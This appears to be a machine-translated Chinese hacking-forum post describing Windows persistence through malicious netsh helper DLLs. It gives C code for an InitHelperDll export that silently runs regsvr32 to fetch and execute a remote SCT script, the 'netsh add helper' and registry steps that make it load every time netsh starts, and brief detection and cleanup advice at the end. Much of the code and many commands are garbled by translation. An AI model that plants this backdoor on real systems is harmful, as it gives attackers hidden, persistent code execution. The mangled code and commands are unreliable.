跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Netsh持久性


KaiWn

推荐的帖子

About:

netsh的常用命令

马修德马斯克使用netshell执行邪恶的动态链接库并在主机上持续的方式

用InitHelperDll函数编写一个动态链接库

如何使用

侦查

目录:

介绍netsh的常用命令

测试马修德马斯克分享的方法——使用netshell在主机上执行恶意动态链接库并持续存在

如何使用c编写导出函数为InitHelperDll的助手动态链接库

实际测试利用

防御和检测

Reference:

http://www。向前适应。com/2016/09/using-netshell-to-execute-evil-dll-and-persist-on-a-host/

0x00 简介

在渗透测试中,使用系统中默认支持的命令常常可以绕过各种检测和拦截,比如我在《Use bitsadmin to maintain persistence and bypass Autoruns》 中介绍过如何利用系统默认支持的比萨德明来实现自启动,并绕过自动运行的检测。

马修德马斯克在最近分享了一个他发现的方法,同样是利用系统中默认支持的命令——使用netshell在主机上执行恶意动态链接库并持续存在,本文将对其方法进行整理,并补全文中未具体介绍的动态链接库编写方法

0x01 netsh简介

是窗子系统本身提供的功能强大的网络配置命令行工具,常用命令如下:

查看互联网协议(互联网协议的缩写)配置信息:

netsh接口互联网协议(Internet Protocol的缩写)显示配置

查看网络配置文件:

netsh -c接口转储

开/关网卡:

netsh int set int name=' Ethernet ' admin=enabled

netsh int set int name=' Ethernet ' admin=disabled

查看所有传输控制协议连接:

netsh接口互联网协议(Internet Protocol的缩写)显示传输控制协议(Transmission Control Protocol)连接

设置本机知识产权,子网掩码、网关ip:

netsh接口互联网协议(Internet Protocol的缩写)设置地址'本地连接'静态192 .168 .1 .2 255 .255 .255 .0 192 .168 .1 .一

查看防火墙状态:

netsh防火墙显示状态

开/关防火墙:

netsh防火墙设置opmode启用

netsh防火墙设置opmode禁用

输入netsh /?可查看更详细的命令帮助,其中增加命令值得注意,输入netsh add /?获得更详细内容:

netsh add /?

以下命令可用:

此上下文中的命令:

添加助手-安装一个助手DLL .

如果在此添加一个测试dll,结果会怎样呢?

0x02 编写helper DLL

每个助手动态链接库都需要包含导出函数InitHelperDll

在添加助手动态链接库后,每次netsh在初始加载的时候会调用该助手动态链接库中的导出函数InitHelperDll

InitHelperDll示例如下:

DWORD

WINAPI

InitHelperDll(

DWORD dwNetshVersion,

PVOID保存

)

{

NS _ HELPER _ ATTRIBUTES属性;

attmy属性。guid helper=g _ my guid

attmy属性。dw版本=1;

attmy属性。pfn start=NetshStartHelper

RegisterHelper( NULL,attmy属性);

返回无错误

}

关于InitHelperDll的细节可参照如下链接:

https://msdn。微软。com/en-us/library/windows/desktop/ms 708327(v=vs . 85).aspx

在《Code Execution of Regsvr32.exe》 曾具体介绍过如何为动态链接库添加一个导出函数,所以在这里接着简单介绍一下:

新建c工程,创建一个动态链接库项目在主文件添加:

DWORD WINAPI InitHelperDll(DWORD dwNetshVersion,PVOID保留)

{

char * command=' cmd。启动regsvr32.exe/s/n/u/I:https://raw。githubusercontent。com/3g学生/SCT持久化/master/calc。SCT scrobj。dll ';

WinExec(命令,SW _ HIDE);

返回0;

}

添加导出函数声明:

文件类型:

文本文件

名称:

同名文件。极好的

写入

出口

InitHelperDll

编译即可

注:

马克斯密茨分享了他的无线一键通代码,定义导出函数使用的是另一种方式:

extern ' C ' _ _ declspec(dll导出)DWORD InitHelperDll(DWORD dwNetshVersion,PVOID保留)

有效载荷为创建新线程执行外壳代码

项目地址如下:

https://github.com/outflankbv/NetshHelperBeacon

0x03 添加自定义helper dll

注:

需要管理员权限

通过煤矿管理局添加:

netsh添加助手c:\test\netshtest.dll

如图

2-1.png

如下图,注册表同步创建键值

2-2.png

位置:HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ NetSh

名称:netshtest

类型:REG_SZ

数据:c:\test\netshtest.dll

注:

通过注册表直接添加键值同netsh添加添加助手动态链接库的作用一样

0x04 触发后门

成功添加helper dll后,每次调用netsh时都会加载c:\test\netshtest.dll。

如图,运行netsh命令,加载c:\test\netshtest.dll,计算器弹出。

2-3.png

验证:

使用进程资源管理器查看netsh进程加载的dll。

3-1.png

使用流程属性中的流程监视器也可以查看事件属性。

3-2.png

0x05 Persistence

netsh作为一个常用的系统命令,有被用户正常使用的概率,所以只要启动netsh来触发有效载荷就可以了。

如果它是作为一个普通的启动项添加的,也很容易混淆,因为只显示启动netsh.exe。

0x06 检测

监控注册表位置HKEY _本地_机器\软件\微软\ netsh

注:

netsh show helper命令找不到新添加的助手dll。

注意注册表中正常的dll是否被替换。

0x07 清除

使用cmd:

netsh delete helper c:\ test \ netshtest . dll

通过注册表:

删除HKEY _本地_机器\软件\微软\ netsh中对应的键值

0x08 小结

netpersistence实现的前提是你获得了管理员权限。

一些vpn软件在启动时会调用netsh命令,从而解决了Netsh持久化的自启动问题。这个方法值得一试。

如果在引导项中发现了netsh,就值得注意了,需要检查对应的注册表项中是否包含恶意的helper dll。

在不同的系统中,注册表HKEY _本地_机器\软件\微软\ netsh中的默认键值是不同的。有必要进行比较,找出默认键值是否被篡改。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...